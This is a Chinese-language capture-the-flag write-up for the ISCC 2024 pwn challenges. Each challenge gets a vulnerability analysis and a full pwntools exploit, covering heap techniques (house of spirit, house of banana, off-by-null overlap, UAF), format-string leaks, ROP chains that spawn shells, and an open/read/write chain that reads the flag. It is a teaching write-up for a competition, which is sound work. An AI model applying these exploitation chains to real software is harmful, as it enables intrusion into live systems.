ISCC 2024 练武题 pwn AK
题目链接:
百度网盘(提取码yxxx)
🌎前言
最近打了一下ISCC,感觉难度还是比较低的。写一个wp帮助新手理解或者是后人参考吧。其中,chaos和easyshell我觉得实在太容易了,就修改得更难了一些,其他题也可以改,不过没什么时间了,就这样吧。如果有哪个题目没有看懂的话可以评论,我马上就会增加字数讲解,一次会不少于500字
🌙chaos_plus(house of spirit)
⭐️分析
改动点:
将libc从2.23提升至2.35,删除作者原本提供的后门函数,保护从只开NX变成全开,其余程序不变
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
IDA查看。有add,delete,show,edit和exit五个功能
show函数中指针归零,没有UAF漏洞
edit函数中存在漏洞。如果创建的chunk小于等于0x18,仍然可以修改0x20个字节的大小,造成堆溢出。有很多种方法通关,这里我用house of spirit
⭐️解题
弄个unsortedbin出来,然后泄露libc地址,下面四个chunk后面要用
查看接收到的值
收到之后查看到environ的距离,然后加上即可
计算一些参数的地址
libc也是二进制文件。可以使用ROPgadget
接下来是泄露heap地址
利用vis命令查看,可以看到是将两个chunk放进了tcache中然后又取了出来。2.34对tcache进行了升级。指向的地址 = (当前地址 >> 12) ^ 当前地址内容
例如,0x56f596b586e0 = (0x56f596b586c0 >> 12) ^ 0x56f0f9ecedb8。其中,0x56f596b586e0是正常tcache管理机制中的真正的fd,代表这个tache在取出后,下一个要取的是哪里。0x56f596b586c0是当前这个fd指针的地址。0x56f0f9ecedb8是当前地址的内容,这个内容是经过系统的逆运算后,得出来的值
由于异或的特性,我们也可以逆运算出堆的地址。事实上如果能够有0x56f0f9ecexxx这个值的话,就可以计算出堆地址了,后面三个xxx是代表不重要,因为堆地址的后三位不会随机。所以有的题目可能会覆盖后两个为00,或者限制了show的次数,这种情况也是可以完成泄露的。公式为:heap = ((temp ^ (((temp & 0xfff000000000) >> 36) * 0x1000000 + (((temp & 0xfff000000) >> 24) ^ ((temp & 0xfff000000000) >> 36)) * 0x1000)) - (temp & 0xfff) + 0x2c0)。后面的+ 0x2c0是加堆的偏移,可以修改。公式为我个人原创,转载请标明出处
当然这题没有用到这么复杂的算法,这题没有什么限制\x00之类的,直接泄露就好啦,然后在用的时候右移再异或即可
接下来开始利用漏洞,这里就不细讲house of spirit这个漏洞了,可自行学习。达成的效果是堆块重叠。成功泄露出栈地址
修改了tcache中已经释放的chunk的fd指针。这里有两个点需要绕过,一个就是上面讲的,需要进行计算,(heap >> 12) ^ (environ - 0x10))。其中,environ - 0x10是目标地址,最后得出来的结果写在fd指针那里,在解析的时候就会还原。-0x10是方便泄露,不然可能会导致environ里的值清零
再次利用漏洞,往栈上写ROP,由于一次只能写0x18个字节,所以分了两次写,写在main函数的返回地址,在exit的时候就会触发ROP,获取shell。64位需要栈对齐,不要忘记加上一个ret
可以看到成功返回到ROP流
⭐️exp
from pwn import *
filename = './chaos_plus'
debug = 0
if debug :
io = remote('182.92.237.102', 10010)
else :
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
def add(size, content):
io.sendlineafter('Please Choice:\n', '1')
io.sendlineafter('Input Size:\n', str(size))
io.sendafter('Content of Chaos!:\n', content)
def delete(index):
io.sendlineafter('Please Choice:\n', '2')
io.sendlineafter('Please Input index:\n', str(index))
def edit(index, content):
io.sendlineafter('Please Choice:\n', '3')
io.sendlineafter('Please Input index:\n', str(index))
io.sendafter('Change Chaos Content:\n', content)
def show(index):
io.sendlineafter('Please Choice:\n', '4')
io.sendlineafter('Please Input index:\n', str(index))
add(0x410, b'A')
add(0x18, b'A')
add(0x18, b'A')
add(0x18, b'A')
add(0x18, b'A')
delete(0)
add(0x410, b'A' * 8)
show(0)
io.recvuntil(b'A' * 8)
environ = u64(io.recv(6).ljust(8, b'\0')) + 0x7520
success('environ =>> ' + hex(environ))
libcbase = environ - libc.sym['environ']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139
delete(2)
delete(1)
add(0, '')
add(0, '')
show(2)
heap = u64(io.recvuntil('\n', drop = True).ljust(8, b'\0')) * 0x1000
success('heap ==> ' + hex(heap))
edit(1, p64(0) * 3 + p64(0x41))
delete(2)
add(0x30, b'A')
delete(4)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (environ - 0x10)))
add(0x18, b'A')
add(0x18, b'A' * 0x10)
show(4)
stack = u64(io.recvuntil('\x0a', drop = True)[-6:].ljust(8, b'\0')) - 0x120
success('stack =>> ' + hex(stack))
add(0x18, b'A')
delete(5)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack - 8)))
add(0x18, b'A')
add(0x18, p64(0) + p64(rdi) + p64(bin_sh))
add(0x18, b'A')
delete(6)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack + 8)))
add(0x18, b'A')
add(0x18, p64(bin_sh) + p64(ret) + p64(sys))
io.sendline('5')
io.interactive()
🌙ISCC_easy(格式化字符串,栈溢出)
⭐️分析
checksec查看。32位,开启NX,无法将shellcode写入栈上执行
IDA查看。明显的格式化字符串漏洞,x是bss段上地址,没开pie能直接知道,直接改就行。顺带可以再输出一下libc地址
这个函数存在栈溢出,ROP一下即可
⭐️解题
libc可以通过泄露地址的后三位找到,应该是9.15的,不过9.14也差不多,我这里就凑合着用了
之后栈溢出一下就行了
⭐️exp
from pwn import *
filename = './ISCC_easy'
debug = 0
if debug :
io = remote('182.92.237.102', 10013)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('libc6-i386_2.31-0ubuntu9.14_amd64.so')
bss = 0x804C030
io.send(b'aaaaa%8$hhn%15$p' + p32(bss))
io.recvuntil('0x')
__libc_start_main = int(io.recv(8), 16) - 245
success('__libc_start_main =>> ' + hex(__libc_start_main))
libcbase = __libc_start_main - libc.sym['__libc_start_main']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
io.send(b'a' * 0x90 + p32(0) + p32(sys) + p32(0) + p32(bin_sh))
io.interactive()
🌙easyshell_plus(栈off by null,格式化字符串)
⭐️分析
改动点:
将作者预留的后门函数删除,libc提升至2.35,限制gets函数输入大小,printf只能用一次,以及一些汇编上的略微改动。
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
IDA查看。输出界面
进入主要函数查看。开始是输出我自己写的一行字,然后进入循环。有gets函数,但没有完全gets,限制大小为0x28个字节,刚好覆盖完rbp,不能覆盖到ret。但是由于gets函数的特性,会将接收的字符串最后的’\n’变为’\0’,这样就可以造成溢出。
当然,也可以利用strlen的特性,读取到’\0’结束读取。这样在输入字符串的前面放上\0即可,也可以造成溢出的效果。
但是我这里不考虑后面这种利用strlen特性的,因为我懒得写代码,所以就没有加很强的检测,如果加了一些检测,例如检测前面0x28字节有没有’\0’,还是可以杜绝这种情况的,这里以学习为主,看看gets函数的off by null如何利用
⭐️解题
上来利用仅有一次的格式化字符串泄露出canary,libc,栈地址
随后是利用off by null,将返回地址的后一个字节修改为\x00
在汇编中,我设置了一下nop,1500这个地址刚好就是主要函数的入口,因此相当于再来一次,而再来一次就可以又一次使用格式化字符串,也可以继续off by null,这样就可以循环修改任意地址
我这里选择改main函数的返回地址为ROP,写了一个函数来修改,因为要改6个字节,只能一个字节一个字节地修改,一次修改两个字节的话会很卡,不成功的几率很大。随后就可以exit退出来获取shell了
⭐️exp
from pwn import *
filename = './easyshell_plus'
debug = 0
if debug :
io = remote('182.92.237.102', 10011)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
def fmt(string, offset):
for i in range(6):
one = (string >> i * 8) & 0xFF
io.sendline((b'flagis.' + b'%' + str(one).encode() + b'c' + b'%20$hhn').ljust(0x18, b'a') + p64(canary) + p64(stack + offset + i))
io.sendline('exit')
sleep(0.01)
libc = ELF('./libc.so.6')
io.sendline(b'flagis.' + b'%19$p%43$p%20$p')
io.recvuntil('0x')
canary = int(io.recv(16), 16)
success('canary =>> ' + hex(canary))
io.recvuntil('0x')
__libc_start_main = int(io.recv(12), 16) - 128
success('__libc_start_main =>> ' + hex(__libc_start_main))
io.recvuntil('0x')
stack = int(io.recv(12), 16) + 0x8
success('stack =>> ' + hex(stack))
libcbase = __libc_start_main - libc.sym['__libc_start_main']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139
io.sendline(b'A' * 0x18 + p64(canary) + b'A' * 0x8)
io.sendline('exit')
fmt(rdi, 0)
fmt(bin_sh, 0x8)
fmt(ret, 0x10)
fmt(sys, 0x18)
io.sendline('exit')
io.interactive()
🌙miao(ret2syscall)
⭐️分析
checksec查看。32位,开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行
IDA查看。
miao函数中有两个漏洞,一个gets没法ROP,因为有canary,所以还要泄露一下。
在第二个函数中就可以ROP了,由于是静态链接所以需要的函数直接在文件里就可以找到
⭐️解题
利用第一个函数泄露canary
第二个函数就是标准的ret2syscall
⭐️exp
from pwn import *
filename = './attachment-41'
debug = 0
if debug :
io = remote('182.92.237.102', 10015)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
int_80 = 0x806cf83
eax = 0x80b8666
ebx = 0x80481c9
ecx = 0x80def3d
edx = 0x806f30a
bin_sh = 0x80BB7C8
io.sendline(b'%31$p')
io.recvuntil('0x')
canary = int(io.recv(8), 16)
io.sendline(b'a' * 0x64 + p32(canary) + b'a' * 0x8 + b'a' * 0x4 + p32(eax) + p32(0xb) + p32(ebx) + p32(bin_sh) + p32(ecx) + p32(0) + p32(int_80))
io.interactive()
🌙Flag(格式化字符串,栈溢出)
⭐️分析
checksec查看。32位,开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行
IDA查看
进入主要函数查看。读取了help.txt这个文件放到栈上,通过下面的格式化字符串漏洞可以泄露这个内容,是告诉了你用的什么libc,好让你下载到本地,不过其实没有这个也能知道,通过泄露函数的后三位即可
然后就是栈溢出,与上一题没有太大的差距
⭐️解题
确定了libc,然后泄露出canary和libc地址
随后ROP即可
⭐️exp
from pwn import *
filename = './attachment-12'
debug = 0
if debug :
io = remote('182.92.237.102', 10012)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
libc = ELF('./libc6-i386_2.31-0ubuntu9.15_amd64.so')
def dbg():
gdb.attach(io)
io.sendline(b'%19$p%27$p')
io.recvuntil('0x')
canary = int(io.recv(8), 16)
io.recvuntil('0x')
__libc_start_main = int(io.recv(8), 16) - 245
libcbase = __libc_start_main - libc.sym['__libc_start_main']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
io.sendline(b'a' * 0x88 + p32(canary) + b'a' * 0x8 + b'a' * 0x4 + p32(sys) + p32(0) + p32(bin_sh))
io.interactive()
🌙Your_program(栈溢出)
⭐️分析
原题:https://www.bilibili.com/video/BV1854y1y7Ro 22分开始
checksec查看。什么保护也没开
IDA查看
第二个函数有gets函数,存在栈溢出漏洞,直接ROP即可获取shell。这个是ISCC组委会认证的非预期解
⭐️解题
libc可以通过泄露函数看后三位得知。然后是输出printf的真实地址,以计算libc,最后ret回到开头,再来一遍
再次ROP即可
⭐️exp
from pwn import *
filename = './attachment-42'
debug = 0
if debug :
io = remote('182.92.237.102', 10032)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc6_2.31-0ubuntu9.15_amd64.so')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
rdi = 0x401763
ret = 0x40101a
io.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(printf_got) + p64(ret) + p64(printf_plt) + p64(0x4014DA))
io.recvuntil('\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['printf']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
io.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(bin_sh) + p64(ret) + p64(sys))
io.interactive()
🌙ISCC_U(UAF)
⭐️分析
原题:https://www.bilibili.com/video/BV1854y1y7Ro 1小时36分开始
checksec查看。32位,开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行
IDA查看。基本操作都有
先是自动malloc了个0x8大小的chunk,然后手动malloc一个指定size的chunk
第一个自动malloc的chunk的前4个字节指向一个打印函数
这个函数会将传进来的地址+4,然后打印出那个地址里的地址存放的内容
如果notelist + v1这个地方有值,那么就执行下面的函数。函数主体note的前4字节,也就是是上面说的那个print函数,参数是note本身,note前4个字节是print函数,后4个字节是一个地址,这个地址指向了自己创建的chunk,因此就会“打印出那个地址里的地址存放的内容”,也就是打印出chunk中的数据
delete中存在UAF漏洞
漏洞利用:先申请两个大于0x8大小的chunk,释放,然后再申请一个等于0x8大小的chunk,这时候会从tache中拿两个大小为0x8的chunk,自动分配一个,然后后面那个可以往里面写数据,但同时又因为print那个函数的特性,所以可以造成一些攻击,如何攻击的还是看解题部分吧
⭐️解题
这是add两次后再删除两次后的堆情况
等会add一次就会把这两个给拿了,根据tcache后进先出的机制,会先拿下面的,再拿上面那个
这里是成功拿到了,并且将上面那个chunk的前4个字节修改为print函数,后4个字节改为puts的got表,打印0的时候,执行chunk的前4个字节print函数,参数是note,但是在print那个函数里会给note+4,所以就是note的后4个字节也就是got表,就可以打印出puts的got表里的值,随后通过puts的真实地址计算出libc地址
接下来把刚刚拿的那两个chunk释放掉,再来故技重施一次
将上面那个chunk的前4字节改为system的地址,后面4个字节改为’||sh’,在执行show函数时,调用前4个字节,也就是system,参数是note,也就是’217464f17c7c7368’,其中7c7c7368是’||sh’,由于system函数的特性,会执行前面的217464f1,执行失败后,发现后面有’||',于是继续执行sh,相当于执行了system(‘sh’),成功获取shell权限
再顺带提一嘴,我觉得这个题目难度可以到350分的级别,很多house of的系列都没有这么难,当然这里是指能够用这个思路来做出这题。这题虽然是B站那个视频中堆里面讲的入门题,我一开始也是从这题入门,但是要想真正理解这题,我觉得要学得比较深入,当时初做这题并没有觉得有多巧妙,再次做的时候就明白了
⭐️exp
from pwn import *
filename = './attachment-39'
debug = 0
if debug :
io = remote('182.92.237.102', 10016)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
libc = ELF('./libc6-i386_2.31-0ubuntu9.15_amd64.so')
def dbg():
gdb.attach(io)
def add(size, content):
io.sendlineafter('choice :', '1')
io.sendlineafter('Note size :', str(size))
io.sendafter('Content :', content)
def delete(index):
io.sendlineafter('choice :', '2')
io.sendlineafter('Index :', str(index))
def show(index):
io.sendlineafter('choice :', '3')
io.sendlineafter('Index :', str(index))
puts_got = elf.got['puts']
add(0x16, 'A')
add(0x16, 'A')
delete(0)
delete(1)
add(0x8, p32(0x80492b6) + p32(puts_got))
show(0)
puts_addr = u32(io.recv(4))
success('puts_addr =>> ' + hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
sys = libcbase + libc.sym['system'] + 1
success('sys =>> ' + hex(sys))
delete(2)
add(0x8, p32(sys) + b'||sh')
show(0)
io.interactive()
🌙eazy_heap(off by null, 堆栈结合)
⭐️分析
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
看一眼libc版本,2.35
IDA查看。基本堆题函数都有
init里弄了个沙盒,让我们来康康🈲了什么好东西
只禁了个exe,比较无聊,还是蛮简单的
查看add函数。这里没有off by null漏洞,因为作者-1了
在edit的时候没有-1,明显的off by null漏洞,read返回值会大1,因为read是从1开始计数,但是读的时候却是从0这个地址开始读入数据。最后会多在字符串后面添加一个’\x00’。看到off by null就要想到overlapping,并且大概率是没有UAF漏洞的
是调用write输出,一般这么做是因为在add的时候会固定输入1个字节,然后又会加一个’\x00’,用puts的话遇到’\x00’就泄露不了了,相当于用write输出比puts函数要简单
主函数下面那个exit应该是作者利用IO打要用,不过我不用,我设计题目一般是2.35,禁exit,close,mprotect,open,openat,fstat,execve,限制read和write次数
⭐️解题
要overlaping最好是能泄露个堆地址。这里先add两个,再free进tcache,再取出来,就有堆地址了,实际上show一个1就够了,按照上面的公式就可以计算,这里展示没有write限制的情况下,比较简单
这个大小在off by null的时候刚好可以将P这个bit改为0而不改变chunk的size,比较合适。
这里泄露了这两个地址,将这两个异或一下再加上想要的偏移就可以了。只泄露下面那个也可以计算出heap地址,只泄露上面不行
然后再add两个chunk,后面用,之后add七个,再free掉,填满tcache bin
这里一顿edit修改,构造了如图所示的结构,最后达成的流程是:free最下面那个chunk后,下面那个chunk检测P这个bit,发现是0,于是向上合并,那么上一个chunk的大小是多少呢?psize是0x1f0,则指针往上增加0x1f0,来到0x1f1那个大小的chunk那里,接着检测psize是否等于上面那个chunk的size,发现0x1f0 = 0x1f1(最后的那3个bit不算),进行下一步检测,检测该chunk的fd指针指向的那个chunk的bk指针是不是该chunk,fd指针是0x0000619839766290,跳转到那里,发现那里的bk指针是0x00006198397663a0,确实是该chunk,那么检测通过。接着是该chunk的bk指针指向的那个chunk的fd指针是不是该chunk,检查也通过。开始进行合并,从最底下一直合并到0x1f1那里,这里合并的要求是tcache是满的,不然是不会合并的,而是直接进入tcache中
这一整块都被视作了unsortedbin,overlaping完成
拿个chunk出来,然后可以show一下libc地址。红线是刚刚拿出的chunk,此时其实就可以那个了,不过不是很标准,这里演示标准的
再add一次,就可以拿到2指向的那个chunk,此时2 = 4。这里add大小0x150是因为后面ROP需要比较多的字节,0xf8不够用,add两次是因为要绕过2.34tcache检测,tcache要想取出,必须要至少有一个计数,要取两次,那么红线标的值就要为2
修改一下
可以看到栈地址
正常的取出套路,就可以获得栈地址
接着再故技重施,修改到栈上,我这里修改的是add的返回地址,因为最后修改使用的函数就是add。要注意的是2.34中,tcache取出的地址结尾必须是0,不能是8,而返回地址大概率最后一位是8,所以要-0x8,从rbp开始修改
可以看到已经修改好了,接下来执行ROP即可orw,我这里是将最后的flag写到了堆上再write出来
⭐️exp
from pwn import *
filename = './CAT_DE'
debug = 0
if debug :
io = remote('182.92.237.102', 2122)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
def add(size, content):
io.sendlineafter('>> \n', '1')
io.sendlineafter('size:\n', str(size))
io.sendafter('content:\n', content)
def delete(index):
io.sendlineafter('>> \n', '2')
io.sendlineafter('idx:\n', str(index))
def show(index):
io.sendlineafter('>> \n', '3')
io.sendlineafter('idx:\n', str(index))
io.recvuntil('context:\n')
def edit(index, content):
io.sendlineafter('>> \n', '4')
io.sendlineafter('idx:\n', str(index))
io.sendafter('content:\n', content)
add(0xF8, b'A')
add(0xF8, b'A')
delete(0)
delete(1)
add(0xF8, b'A')
add(0xF8, b'A')
show(0)
one1 = u64(io.recv(8))
show(1)
one2 = u64(io.recv(8))
success(f'one1, one2 =>> {hex(one1)} + {hex(one2)}')
heap = one1 ^ one2 + 0x90
success(f'heap =>> {hex(heap)}')
add(0xF8, b'A')
add(0xF8, b'A')
for i in range(7):
add(0xF8, b'A')
for i in range(7):
delete(i + 4)
edit(0, p64(0) + p64(0x101 + 0xF0) + p64(heap) + p64(heap))
edit(1, p64(heap + 0x110) + p64(heap + 0x110))
edit(2, b'A' * 0xF0 + p64(0x1F0))
delete(3)
add(0xE8, b'A')
show(2)
environ = u64(io.recv(8)) + 0x7520
success(f'environ =>> {hex(environ)}')
libcbase = environ - libc.sym['environ']
libc.address = libcbase
rdi = libcbase + 0x2a3e5
rsi = libcbase + 0x2be51
rdx_r12 = libcbase + 0x11f497
add(0x150, b'A') # 2 = 4
add(0x150, b'A')
delete(5)
delete(4)
edit(2, p64(((heap + 0x200) >> 12) ^ (environ - 0x10)))
add(0x150, b'A')
add(0x150, b'A')
show(5)
io.recv(0x10)
stack = u64(io.recv(8)) - 0x140
success(f'stack =>> {hex(stack)}')
add(0x150, b'A')
delete(6)
delete(4)
edit(2, p64(((heap + 0x200) >> 12) ^ (stack - 0x8)))
add(0x150, b'A')
add(0x150, p64(0) + p64(rdi) + p64(stack + 0xa8) + p64(rsi) + p64(0) + p64(libc.sym['open']) + p64(rdi) + p64(3) + p64(rsi) + p64(heap + 0x10) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['read']) + p64(rdi) + p64(1) + p64(rsi) + p64(heap + 0x10) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['write']) + b'flag\x00\x00\x00\x00')
io.interactive()
🌙heapheap(house of banana)
⭐️分析
原题:ctf.show 元旦水友杯 2024 Heap_Harmony_Festivity
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
IDA查看。正常堆函数,开了沙箱,让我们来康康🈲了什么好东西
只禁了个exe,比较无聊,还是蛮简单的
要求申请的chunk大小在0x400和0x500之间,而且用的还是calloc,calloc绕过一般就是overlaping
delete函数存在UAF漏洞,其他都是正常的
⭐️解题
这里也是不讲largebin attack原理,有需要的可以评论区留言。既然只能add大chunk那就用largebin attack,申请一个大的,再申请一个最大的,申请一个小一点的,再申请一个最大的,让0进入largebin,可以show一些东西出来
继续show一些东西出来,狠狠地薅largebin,接下来走house of banana
利用largebin将_rtld_global改为可控的堆地址
伪造link_map
这里给一下link_map的结构图,蓝绿色部分为需要修改的地方。第一张图是link_map的完整结构,稍微标明了一下需要修改哪里,第二张图是教你有orw时如何伪造。如果没有orw的话,将*ret改为one_gadget即可。图片为个人原创,转载请说明出处
除发一下exit函数,然后orw即可
⭐️exp
from pwn import *
filename = './heapheap'
debug = 0
if debug :
io = remote('182.92.237.102', 11000)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
libc = ELF('./libc-2.31.so')
def dbg():
gdb.attach(io)
def add(index, size):
io.sendlineafter('choice:\n', '1')
io.sendlineafter('index:\n', str(index))
io.sendlineafter('Size:\n', str(size))
def show(index):
io.sendlineafter('choice:\n', '2')
io.sendlineafter('index:\n', str(index))
io.recvuntil('context: \n')
def edit(index, content):
io.sendlineafter('choice:\n', '3')
io.sendlineafter('index:\n', str(index))
io.sendafter('context: \n', content)
def delete(index):
io.sendlineafter('choice:\n', '4')
io.sendlineafter('index:\n', str(index))
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
delete(0)
add(3, 0x500)
show(0)
large_430 = u64(io.recv(6).ljust(8, b'\x00'))
libcbase = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']
libc.address = libcbase
pop_rdi = libcbase + 0x23b6a
pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x119431
ret = libcbase + 0x22679
success('libcbase =>> ' + hex(libcbase))
edit(0, b'A' * 0x10)
show(0)
io.recv(0x10)
heap = u64(io.recv(6).ljust(8, b'\x00'))
success('heap =>> ' + hex(heap))
ld_remote_off = 0x6000
_rtld_global = libcbase + 0x228060 - ld_remote_off
success('_rtld_global =>> ' + hex(_rtld_global))
delete(2)
edit(0, p64(large_430) + p64(large_430) + p64(heap) + p64(_rtld_global - 0x20))
add(4, 0x500)
setcontext = libc.sym['setcontext'] + 0x3d
link_map = p64(0)
link_map += p64(_rtld_global + 0x16e0)
link_map += p64(0)
link_map += p64(heap + 0x940)
link_map += p64(0) * 28
link_map += p64(heap + 0xa50)
link_map += p64(heap + 0xa50)
link_map += p64(heap + 0xa60)
link_map += p64(0x40)
link_map += b'flag\x00\x00\x00\x00'
link_map += p64(heap + 0x940)
link_map += p64(setcontext)
link_map += p64(ret)
link_map += p64(0) * 12
link_map += p64(0)
link_map += p64(heap + 0x940)
link_map += p64(0) * 2
link_map += p64(0x100)
link_map += p64(0) * 2
link_map += p64(heap + 0x940)
link_map += p64(libc.sym['read'])
link_map += p64(0) * 36
link_map += p64(0xb00000000)
edit(2, link_map)
io.sendlineafter('choice:\n', '5')
io.send(p64(pop_rdi) + p64(heap + 0xa70) + p64(pop_rsi) + p64(0) + p64(libc.sym['open']) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x50) + p64(0) + p64(libc.sym['read']) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x50) + p64(0) + p64(libc.sym['write']))
io.interactive()
🌙shopping(多线程堆,堆溢出)
⭐️分析
原题:n1ctf2018_null
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
IDA查看。输入一下正确的字符串,然后创建一个线程
菜单只有add和exit,还是很特殊的一道题目,下面给了个system,等会可以调用
漏洞出现在rread函数中,采用的是分布读入,如果size是0x20,那么可以先读入0x18,然后会判断没有读完,继续可以读入0x20,就造成了堆溢出
⭐️解题
按照一般的道理来说,可以修改top chunk的大小,然后打house of orange,但是一切操作是在子线程中进行的。house of orange原理是top chunk不够,从而调用brk来分配,进而让top chunk进入unsortedbin,子线程的堆空间全部是由mmap分配,当top chunk不够时,也是用mmap来分配,因此不会让top chunk进入unsortedbin,house of orange失效
在子线程中,可以先看一下创建子线程后的堆情况,thread_arena在子线程中,是处于堆的起始地址,add堆会往下分配,但是有一个限制,就是到栈上面0x1000个字节为止,因为堆不能覆盖掉栈。题目中给了add大堆的操作,可以一次add很大的堆,并且add很多次,因此可以将堆到栈的那块区域填满,填满了之后如果还要再申请堆的话,应该怎么办呢?这时候下面已经没有位置了,毕竟也不能在栈下面开辟一块空间,因为下面的栈连着的是libc,因此glibc考虑在上面开辟一块空间
分配了一大片空间,可以看到只有0x3000的空间来分配了,如果分配超过0x3000的空间,就会触发申请空间的操作
可以看到已经成功分配了一块空间,这块空间在堆地址的上方,然后这块空间是从下往上分配的(以图来看),刚刚分配了一个0x4000大小的chunk,那么就是从临近下方那个堆开始向上分配,然后就可以通过堆溢出,修改掉堆头部的thread_arena,修改thread_arena中的fastbin,就可以造成fastbin attack
这里利用了一下堆溢出漏洞,修改了thread_arena,随后程序有个函数qword_602038(v6, v4);,函数本身是system,第一个参数v6指针指向malloc的数据第一个字节,写的是‘/bin/sh’,就可以执行system(‘/bin/sh’),还是很巧妙的
⭐️exp
from pwn import *
filename = './attachment-11'
debug = 0
if debug :
io = remote('182.92.237.102', 10019)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc6_2.31-0ubuntu9.15_amd64.so')
def add(size, count, content = ''):
io.sendlineafter('Action: ', '1')
io.sendlineafter('Item ID: ', str(size))
io.sendlineafter('Quantity: ', str(count))
if (content == ''):
io.sendlineafter('Add gift message? (0/1): ', '0')
else:
io.sendlineafter('Add gift message? (0/1): ', '1')
io.sendafter('Message: ', content)
system_plt = elf.plt['system']
io.sendlineafter('Enter the password: ', 'I\'m ready for shopping')
sleep(3)
for i in range(12):
add(0x4000, 1000)
add(0x4000, 262, b'a' * 0x3ff0)
io.send(b'a' * 0x50 + p32(0) + p32(2) + p64(0) * 6 + p64(0x60201d))
add(0x60, 0, (b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)).ljust(0x60, b'\x00'))
io.interactive()